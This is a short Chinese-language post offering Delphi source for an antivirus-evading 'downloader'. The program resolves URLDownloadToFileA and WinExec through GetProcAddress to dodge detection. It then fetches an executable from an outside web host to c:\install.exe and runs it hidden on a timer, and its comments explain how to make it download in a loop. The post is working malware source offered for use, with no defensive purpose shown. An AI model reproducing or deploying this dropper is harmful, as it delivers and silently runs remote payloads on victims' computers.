免杀下载者代码[网络技术]

program downs;

uses
Windows;

procedure TimerProc(hwnd:HWND;uMsg,idEvent:UINT;dwTime:DWORD); stdcall;
var
URLDown:function(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB:Pointer): LongWord; stdcall;
WinExecA:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;
begin
@UrlDown:=GetProcAddress(LoadLibrary('URLMON.DLL'),'URLDownloadToFileA');
@WinExecA:=GetProcAddress(LoadLibrary('kernel32.dll'),'WinExec');
//下载地址                        //下载后存放的途径
if UrlDown(nil, 'http://www.xfocusx.com/calcs.exe', 'c:\install.exe', 0, nil)=0 then //下载...  =0 完成后运行
WinExecA('c:\install.exe', 0);  //运行

Halt; //下完撤退出程序,去掉就是循环地下,可以设时间长一点
Exit;
end;

var
Msg: TMsg;
begin
SetTimer(0, 10, 1000, @TimerProc);//安装按时器
while (GetMessage(msg, 0, 0, 0)) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
end;

end.